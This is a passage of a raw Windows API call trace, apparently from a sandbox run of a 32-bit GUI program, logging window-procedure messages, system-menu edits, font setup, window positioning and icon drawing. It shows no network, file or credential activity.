CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0253.934] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0253.934] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0253.934] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0253.934] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0253.935] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0253.936] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x83, wParam=0x1, lParam=0x18eea8) returned 0x0 [0253.936] GetSystemMenu (hWnd=0x70042, bRevert=0) returned 0x802b5 [0253.937] DeleteMenu (hMenu=0x802b5, uPosition=0xf130, uFlags=0x0) returned 0 [0253.937] DeleteMenu (hMenu=0x802b5, uPosition=0x7, uFlags=0x400) returned 0 [0253.937] DeleteMenu (hMenu=0x802b5, uPosition=0x5, uFlags=0x400) returned 1 [0253.937] DeleteMenu (hMenu=0x802b5, uPosition=0xf030, uFlags=0x0) returned 1 [0253.937] DeleteMenu (hMenu=0x802b5, uPosition=0xf020, uFlags=0x0) returned 1 [0253.937] DeleteMenu (hMenu=0x802b5, uPosition=0xf000, uFlags=0x0) returned 1 [0253.937] DeleteMenu (hMenu=0x802b5, uPosition=0xf120, uFlags=0x0) returned 1 [0253.937] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x83, wParam=0x0, lParam=0x18f550) returned 0x0 [0253.937] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x1, wParam=0x0, lParam=0x18f564) returned 0x0 [0253.937] IsIconic (hWnd=0x70042) returned 0 [0253.938] GetWindowRect (in: hWnd=0x70042, lpRect=0x18f328 | out: lpRect=0x18f328) returned 1 [0253.938] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.938] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x5, wParam=0x0, lParam=0xd4013a) returned 0x0 [0253.938] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.938] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.938] IsIconic (hWnd=0x70042) returned 0 [0253.938] GetClientRect (in: hWnd=0x70042, lpRect=0x18f33c | out: lpRect=0x18f33c) returned 1 [0253.938] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.938] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.938] IsIconic (hWnd=0x70042) returned 0 [0253.938] GetClientRect (in: hWnd=0x70042, lpRect=0x18f33c | out: lpRect=0x18f33c) returned 1 [0253.938] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.938] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.938] IsIconic (hWnd=0x70042) returned 0 [0253.938] GetClientRect (in: hWnd=0x70042, lpRect=0x18f310 | out: lpRect=0x18f310) returned 1 [0253.938] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.938] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.938] IsIconic (hWnd=0x70042) returned 0 [0253.938] GetClientRect (in: hWnd=0x70042, lpRect=0x18f310 | out: lpRect=0x18f310) returned 1 [0253.938] SetScrollInfo (hwnd=0x70042, nBar=1, lpsi=0x18f344, redraw=1) returned 0 [0253.939] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0253.939] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0253.939] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0253.939] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0253.940] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0253.940] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0253.940] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.940] IsIconic (hWnd=0x70042) returned 0 [0253.940] GetClientRect (in: hWnd=0x70042, lpRect=0x18f310 | out: lpRect=0x18f310) returned 1 [0253.940] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.940] IsIconic (hWnd=0x70042) returned 0 [0253.940] GetClientRect (in: hWnd=0x70042, lpRect=0x18f310 | out: lpRect=0x18f310) returned 1 [0253.940] SetScrollInfo (hwnd=0x70042, nBar=0, lpsi=0x18f344, redraw=1) returned 0 [0253.941] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0253.941] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0253.941] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0253.941] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x3, wParam=0x0, lParam=0x8500cb) returned 0x0 [0253.941] IsIconic (hWnd=0x70042) returned 0 [0253.941] GetWindowRect (in: hWnd=0x70042, lpRect=0x18f350 | out: lpRect=0x18f350) returned 1 [0253.941] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.941] IsIconic (hWnd=0x70042) returned 0 [0253.941] GetWindowRect (in: hWnd=0x70042, lpRect=0x18f960 | out: lpRect=0x18f960) returned 1 [0253.941] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.941] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x30, wParam=0x640a01f1, lParam=0x1) returned 0x0 [0253.941] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.941] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.941] IsIconic (hWnd=0x70042) returned 0 [0253.942] GetClientRect (in: hWnd=0x70042, lpRect=0x18fa20 | out: lpRect=0x18fa20) returned 1 [0253.942] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.942] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.942] IsIconic (hWnd=0x70042) returned 0 [0253.942] GetClientRect (in: hWnd=0x70042, lpRect=0x18fa20 | out: lpRect=0x18fa20) returned 1 [0253.942] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.942] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.942] IsIconic (hWnd=0x70042) returned 0 [0253.942] GetClientRect (in: hWnd=0x70042, lpRect=0x18f9f4 | out: lpRect=0x18f9f4) returned 1 [0253.942] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.942] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.942] IsIconic (hWnd=0x70042) returned 0 [0253.942] GetClientRect (in: hWnd=0x70042, lpRect=0x18f9f4 | out: lpRect=0x18f9f4) returned 1 [0253.942] SetScrollInfo (hwnd=0x70042, nBar=1, lpsi=0x18fa28, redraw=1) returned 0 [0253.942] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0253.943] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0253.943] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0253.943] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0253.943] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0253.943] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0253.944] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.944] IsIconic (hWnd=0x70042) returned 0 [0253.944] GetClientRect (in: hWnd=0x70042, lpRect=0x18f9f4 | out: lpRect=0x18f9f4) returned 1 [0253.944] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.944] IsIconic (hWnd=0x70042) returned 0 [0253.944] GetClientRect (in: hWnd=0x70042, lpRect=0x18f9f4 | out: lpRect=0x18f9f4) returned 1 [0253.944] SetScrollInfo (hwnd=0x70042, nBar=0, lpsi=0x18fa28, redraw=1) returned 0 [0253.944] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0253.945] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0253.945] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0253.945] SendMessageA (hWnd=0x70042, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0253.945] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x80, wParam=0x1, lParam=0x0) returned 0x0 [0253.945] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0253.945] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0253.945] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0253.948] GetModuleHandleA (lpModuleName="user32.dll") returned 0x76860000 [0253.948] GetProcAddress (hModule=0x76860000, lpProcName="ChangeWindowMessageFilterEx") returned 0x7687f285 [0253.948] ChangeWindowMessageFilterEx (in: hwnd=0x70042, message=0xc12d, action=0x1, pChangeFilterStruct=0x0 | out: pChangeFilterStruct=0x0) returned 1 [0253.948] SetPropA (hWnd=0x70042, lpString=0xc167, hData=0x38ef44) returned 1 [0253.948] SetPropA (hWnd=0x70042, lpString=0xc168, hData=0x38ef44) returned 1 [0253.948] IsIconic (hWnd=0x70042) returned 0 [0253.948] GetClientRect (in: hWnd=0x70042, lpRect=0x18fabc | out: lpRect=0x18fabc) returned 1 [0253.948] IsIconic (hWnd=0x70042) returned 0 [0253.948] GetClientRect (in: hWnd=0x70042, lpRect=0x18fab4 | out: lpRect=0x18fab4) returned 1 [0253.948] IsIconic (hWnd=0x70042) returned 0 [0253.948] SetWindowPos (hWnd=0x70042, hWndInsertAfter=0x0, X=200, Y=108, cx=303, cy=240, uFlags=0x14) returned 1 [0253.948] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x46, wParam=0x0, lParam=0x18fa08) returned 0x0 [0253.948] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x83, wParam=0x1, lParam=0x18f9e0) returned 0x0 [0253.949] IsWindowVisible (hWnd=0x70042) returned 0 [0253.949] IsIconic (hWnd=0x70042) returned 0 [0253.949] GetWindowRect (in: hWnd=0x70042, lpRect=0x18f7bc | out: lpRect=0x18f7bc) returned 1 [0253.949] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.949] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x47, wParam=0x0, lParam=0x18fa08) returned 0x0 [0253.949] IsIconic (hWnd=0x70042) returned 0 [0253.949] GetWindowRect (in: hWnd=0x70042, lpRect=0x18f3b8 | out: lpRect=0x18f3b8) returned 1 [0253.949] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.949] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x5, wParam=0x0, lParam=0xd40129) returned 0x0 [0253.950] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.950] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.950] IsIconic (hWnd=0x70042) returned 0 [0253.950] GetClientRect (in: hWnd=0x70042, lpRect=0x18f3cc | out: lpRect=0x18f3cc) returned 1 [0253.950] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.950] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.950] IsIconic (hWnd=0x70042) returned 0 [0253.950] GetClientRect (in: hWnd=0x70042, lpRect=0x18f3cc | out: lpRect=0x18f3cc) returned 1 [0253.950] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.950] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.950] IsIconic (hWnd=0x70042) returned 0 [0253.950] GetClientRect (in: hWnd=0x70042, lpRect=0x18f3a0 | out: lpRect=0x18f3a0) returned 1 [0253.950] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.950] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.950] IsIconic (hWnd=0x70042) returned 0 [0253.950] GetClientRect (in: hWnd=0x70042, lpRect=0x18f3a0 | out: lpRect=0x18f3a0) returned 1 [0253.950] SetScrollInfo (hwnd=0x70042, nBar=1, lpsi=0x18f3d4, redraw=1) returned 0 [0253.951] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0253.951] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0253.951] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0253.951] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0253.952] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0253.952] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0253.952] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.952] IsIconic (hWnd=0x70042) returned 0 [0253.952] GetClientRect (in: hWnd=0x70042, lpRect=0x18f3a0 | out: lpRect=0x18f3a0) returned 1 [0253.952] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0253.952] IsIconic (hWnd=0x70042) returned 0 [0253.952] GetClientRect (in: hWnd=0x70042, lpRect=0x18f3a0 | out: lpRect=0x18f3a0) returned 1 [0253.952] SetScrollInfo (hwnd=0x70042, nBar=0, lpsi=0x18f3d4, redraw=1) returned 0 [0254.052] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0254.052] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0254.052] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0254.052] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0254.052] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0254.053] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0254.053] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x83, wParam=0x1, lParam=0x18f5ec) returned 0x0 [0254.054] IsIconic (hWnd=0x70042) returned 0 [0254.054] GetClientRect (in: hWnd=0x70042, lpRect=0x18fabc | out: lpRect=0x18fabc) returned 1 [0254.054] IsIconic (hWnd=0x70042) returned 0 [0254.054] GetClientRect (in: hWnd=0x70042, lpRect=0x18fab4 | out: lpRect=0x18fab4) returned 1 [0254.054] IsIconic (hWnd=0x70042) returned 0 [0254.054] SetWindowPos (hWnd=0x70042, hWndInsertAfter=0x0, X=200, Y=108, cx=303, cy=153, uFlags=0x14) returned 1 [0254.054] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x46, wParam=0x0, lParam=0x18fa08) returned 0x0 [0254.054] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x83, wParam=0x1, lParam=0x18f9e0) returned 0x0 [0254.055] IsWindowVisible (hWnd=0x70042) returned 0 [0254.055] IsIconic (hWnd=0x70042) returned 0 [0254.055] GetWindowRect (in: hWnd=0x70042, lpRect=0x18f7bc | out: lpRect=0x18f7bc) returned 1 [0254.055] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0254.055] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x47, wParam=0x0, lParam=0x18fa08) returned 0x0 [0254.055] IsIconic (hWnd=0x70042) returned 0 [0254.055] GetWindowRect (in: hWnd=0x70042, lpRect=0x18f3b8 | out: lpRect=0x18f3b8) returned 1 [0254.055] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0254.055] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x5, wParam=0x0, lParam=0x7d0129) returned 0x0 [0254.055] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0254.055] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0254.055] IsIconic (hWnd=0x70042) returned 0 [0254.055] GetClientRect (in: hWnd=0x70042, lpRect=0x18f3cc | out: lpRect=0x18f3cc) returned 1 [0254.055] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0254.055] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0254.055] IsIconic (hWnd=0x70042) returned 0 [0254.055] GetClientRect (in: hWnd=0x70042, lpRect=0x18f3cc | out: lpRect=0x18f3cc) returned 1 [0254.055] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0254.056] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0254.056] IsIconic (hWnd=0x70042) returned 0 [0254.056] GetClientRect (in: hWnd=0x70042, lpRect=0x18f3a0 | out: lpRect=0x18f3a0) returned 1 [0254.056] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0254.056] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0254.056] IsIconic (hWnd=0x70042) returned 0 [0254.056] GetClientRect (in: hWnd=0x70042, lpRect=0x18f3a0 | out: lpRect=0x18f3a0) returned 1 [0254.056] SetScrollInfo (hwnd=0x70042, nBar=1, lpsi=0x18f3d4, redraw=1) returned 0 [0254.056] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0254.056] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0254.057] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0254.057] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0254.057] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0254.057] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0254.058] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0254.058] IsIconic (hWnd=0x70042) returned 0 [0254.058] GetClientRect (in: hWnd=0x70042, lpRect=0x18f3a0 | out: lpRect=0x18f3a0) returned 1 [0254.058] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0254.058] IsIconic (hWnd=0x70042) returned 0 [0254.058] GetClientRect (in: hWnd=0x70042, lpRect=0x18f3a0 | out: lpRect=0x18f3a0) returned 1 [0254.058] SetScrollInfo (hwnd=0x70042, nBar=0, lpsi=0x18f3d4, redraw=1) returned 0 [0254.058] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0254.058] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0254.059] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0254.059] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0254.059] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0254.059] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0254.060] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x83, wParam=0x1, lParam=0x18f5ec) returned 0x0 [0254.060] IsIconic (hWnd=0x70042) returned 0 [0254.060] GetClientRect (in: hWnd=0x70042, lpRect=0x18facc | out: lpRect=0x18facc) returned 1 [0254.061] IsIconic (hWnd=0x70042) returned 0 [0254.061] GetClientRect (in: hWnd=0x70042, lpRect=0x18fa70 | out: lpRect=0x18fa70) returned 1 [0254.061] IsIconic (hWnd=0x70042) returned 0 [0254.061] GetClientRect (in: hWnd=0x70042, lpRect=0x18fa68 | out: lpRect=0x18fa68) returned 1 [0254.061] FreeResource (hResData=0x4ae8e8) returned 0 [0254.061] GetDC (hWnd=0x0) returned 0x1f01019b [0254.061] EnumFontsA (hdc=0x1f01019b, lpLogfont="Tahoma", lpProc=0x42e798, lParam=0x18fcc3) returned 1 [0254.061] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0254.061] InvalidateRect (hWnd=0x70042, lpRect=0x0, bErase=1) returned 1 [0254.061] CreateFontIndirectA (lplf=0x18fbb0) returned 0x260a06d8 [0254.061] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x30, wParam=0x260a06d8, lParam=0x0) returned 0x0 [0254.061] InvalidateRect (hWnd=0x70042, lpRect=0x18fb38, bErase=1) returned 1 [0254.061] MulDiv (nNumber=-8, nNumerator=96, nDenominator=72) returned -11 [0254.061] GetDC (hWnd=0x0) returned 0x1f01019b [0254.061] SelectObject (hdc=0x1f01019b, h=0x260a06d8) returned 0x18a002e [0254.061] GetTextExtentPointA (in: hdc=0x1f01019b, lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", c=52, lpsz=0x18fdec | out: lpsz=0x18fdec) returned 1 [0254.066] GetTextMetricsA (in: hdc=0x1f01019b, lptm=0x18fdb4 | out: lptm=0x18fdb4) returned 1 [0254.066] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0254.068] SystemParametersInfoA (in: uiAction=0x30, uiParam=0x0, pvParam=0x18fe0c, fWinIni=0x0 | out: pvParam=0x18fe0c) returned 1 [0254.068] GetModuleHandleA (lpModuleName="user32.dll") returned 0x76860000 [0254.068] GetProcAddress (hModule=0x76860000, lpProcName="MonitorFromRect") returned 0x7689e7a0 [0254.068] GetProcAddress (hModule=0x76860000, lpProcName="GetMonitorInfoA") returned 0x76884413 [0254.068] MonitorFromRect (lprc=0x18fdd8, dwFlags=0x2) returned 0x10001 [0254.069] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x18fd9c | out: lpmi=0x18fd9c) returned 1 [0254.069] IsIconic (hWnd=0x70042) returned 0 [0254.069] SetWindowPos (hWnd=0x70042, hWndInsertAfter=0x0, X=568, Y=353, cx=303, cy=153, uFlags=0x14) returned 1 [0254.069] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x46, wParam=0x0, lParam=0x18fd20) returned 0x0 [0254.069] IsWindowVisible (hWnd=0x70042) returned 0 [0254.069] IsIconic (hWnd=0x70042) returned 0 [0254.069] GetWindowRect (in: hWnd=0x70042, lpRect=0x18fad4 | out: lpRect=0x18fad4) returned 1 [0254.069] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0254.069] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x47, wParam=0x0, lParam=0x18fd20) returned 0x0 [0254.070] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x3, wParam=0x0, lParam=0x17a023b) returned 0x0 [0254.070] IsIconic (hWnd=0x70042) returned 0 [0254.070] GetWindowRect (in: hWnd=0x70042, lpRect=0x18f6f8 | out: lpRect=0x18f6f8) returned 1 [0254.070] GetWindowLongA (hWnd=0x70042, nIndex=-16) returned -2033713152 [0254.070] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0254.070] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0254.070] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0254.071] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x12 [0254.071] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0xd, wParam=0x13, lParam=0x390f8c) returned 0x12 [0254.071] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0xc, wParam=0x0, lParam=0x38dd1c) returned 0x1 [0254.072] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x70042, Msg=0xb012, wParam=0x0, lParam=0x0) returned 0x0 [0254.072] GetSystemMetrics (nIndex=11) returned 32 [0254.072] InvalidateRect (hWnd=0x70042, lpRect=0x18fdec, bErase=1) returned 1 [0254.072] GetSystemMetrics (nIndex=12) returned 32 [0254.072] GetDC (hWnd=0x0) returned 0x1f01019b [0254.072] CreateCompatibleDC (hdc=0x1f01019b) returned 0x1001017d [0254.072] CreateCompatibleBitmap (hdc=0x1f01019b, cx=32, cy=32) returned 0xe050178 [0254.072] SelectObject (hdc=0x1001017d, h=0xe050178) returned 0x185000f [0254.072] GetSysColor (nIndex=15) returned 0xf0f0f0 [0254.072] CreateBrushIndirect (plbrush=0x18fd74) returned 0xf100188 [0254.072] FillRect (hDC=0x1001017d, lprc=0x18fdb0, hbr=0xf100188) returned 1 [0254.072] GetSysColor (nIndex=8) returned 0x0 [0254.072] SetTextColor (hdc=0x1001017d, color=0x0) returned 0x0 [0254.072] GetSysColor (nIndex=15) returned 0xf0f0f0 [0254.072] SetBkColor (hdc=0x1001017d, color=0xf0f0f0) returned 0xffffff [0254.072] DeleteDC (hdc=0x1001017d) returned 1 [0254.073] ReleaseDC (hWnd=0x0, hDC=0x1f01019b) returned 1 [0254.073] InvalidateRect (hWnd=0x70042, lpRect=0x18fdec, bErase=0) returned 1 [0254.073] CreateCompatibleDC (hdc=0x0) returned 0x1101017d [0254.073] SelectObject (hdc=0x1101017d, h=0xe050178) returned 0x185000f [0254.073] MoveToEx (in: hdc=0x1101017d, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0254.073] GetSysColor (nIndex=15) returned 0xf0f0f0 [0254.073] SetBkColor (hdc=0x1101017d, color=0xf0f0f0) returned 0xffffff [0254.073] GetSysColor (nIndex=8) returned 0x0 [0254.073] SetTextColor (hdc=0x1101017d, color=0x0) returned 0x0 [0254.073] GetSystemMetrics (nIndex=12) returned 32 [0254.073] GetSystemMetrics (nIndex=11) returned 32 [0254.073] DrawIcon (hDC=0x1101017d, X=0, Y=0, hIcon=0xe023b) returned 1 [0254.073] InvalidateRect (hWnd=0x70042, lpRect=0x18fdc4, bErase=0) returned 1 [0254.073] GetClassInfoW (in: hInstance=0x0, lpClassName="COMBOBOX", lpWndClass=0x18fe64 | out: lpWndClass=0x18fe64) returned 1 [0254.074] LoadCursorA (hInstance=0x0, 